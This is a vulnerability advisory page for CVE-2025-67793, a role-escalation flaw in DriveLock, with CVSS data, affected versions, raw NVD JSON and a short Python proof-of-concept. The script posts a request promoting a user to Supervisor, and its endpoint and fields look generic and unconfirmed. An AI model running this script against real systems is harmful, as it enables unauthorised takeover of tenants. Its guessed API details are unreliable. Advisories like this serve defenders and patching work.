Security Vulnerability Report
中文
CVE-2025-67793 CVSS 9.8 CRITICAL

CVE-2025-67793

Published: 2025-12-17 21:16:16
Last Modified: 2026-01-02 15:54:36

Description

An issue was discovered in DriveLock 24.1 through 24.1.*, 24.2 through 24.2.*, and 25.1 before 25.1.6. Users with the "Manage roles and permissions" privilege can promote themselves or other DOC users to the Supervisor role through an API call. This privilege is included by default in the Administrator role. This issue mainly affects cloud multi-tenant deployments; on-prem single-tenant installations are typically not impacted because local admins usually already have Supervisor privileges.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:* - VULNERABLE
DriveLock 24.1 - 24.1.*
DriveLock 24.2 - 24.2.*
DriveLock 25.1 - 25.1.6之前的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-67793 DriveLock Privilege Escalation PoC # Target: DriveLock installations with 'Manage roles and permissions' privilege TARGET_URL = "https://target-drivelock-url.com" ATTACKER_TOKEN = "your-auth-token-here" TARGET_USER_ID = "victim-user-id" def escalate_privilege(): """ Exploit privilege escalation by promoting user to Supervisor role This vulnerability allows users with 'Manage roles and permissions' privilege to promote themselves or other users to Supervisor role """ headers = { 'Authorization': f'Bearer {ATTACKER_TOKEN}', 'Content-Type': 'application/json' } # Malicious API request to change user role to Supervisor payload = { 'userId': TARGET_USER_ID, 'role': 'Supervisor', 'action': 'updateRole' } endpoint = f"{TARGET_URL}/api/v1/users/{TARGET_USER_ID}/role" try: response = requests.post(endpoint, headers=headers, json=payload, timeout=30) if response.status_code == 200: result = response.json() print(f"[+] Privilege Escalation Successful!") print(f"[*] User {TARGET_USER_ID} is now a Supervisor") return True else: print(f"[-] Exploit Failed - Status: {response.status_code}") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": print("DriveLock CVE-2025-67793 Privilege Escalation PoC") print("=" * 50) escalate_privilege()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67793", "sourceIdentifier": "[email protected]", "published": "2025-12-17T21:16:16.443", "lastModified": "2026-01-02T15:54:36.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in DriveLock 24.1 through 24.1.*, 24.2 through 24.2.*, and 25.1 before 25.1.6. Users with the \"Manage roles and permissions\" privilege can promote themselves or other DOC users to the Supervisor role through an API call. This privilege is included by default in the Administrator role. This issue mainly affects cloud multi-tenant deployments; on-prem single-tenant installations are typically not impacted because local admins usually already have Supervisor privileges."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.1", "versionEndIncluding": "24.1.6", "matchCriteriaId": "49C36C7E-4B1F-44C4-825A-CFFD6CB1BE1F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.2", "versionEndIncluding": "24.2.8", "matchCriteriaId": "8BF5B803-3A0B-47C1-A931-6E8996919E61"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drivelock:drivelock:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.1", "versionEndExcluding": "25.1.6", "matchCriteriaId": "3FD804DF-40A9-4A76-950E-06EBD968CFE9"}]}]}], "references": [{"url": "https://drivelock.help/sb/Content/SecurityBulletins/25-008-DESPrivilegeEsc.htm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}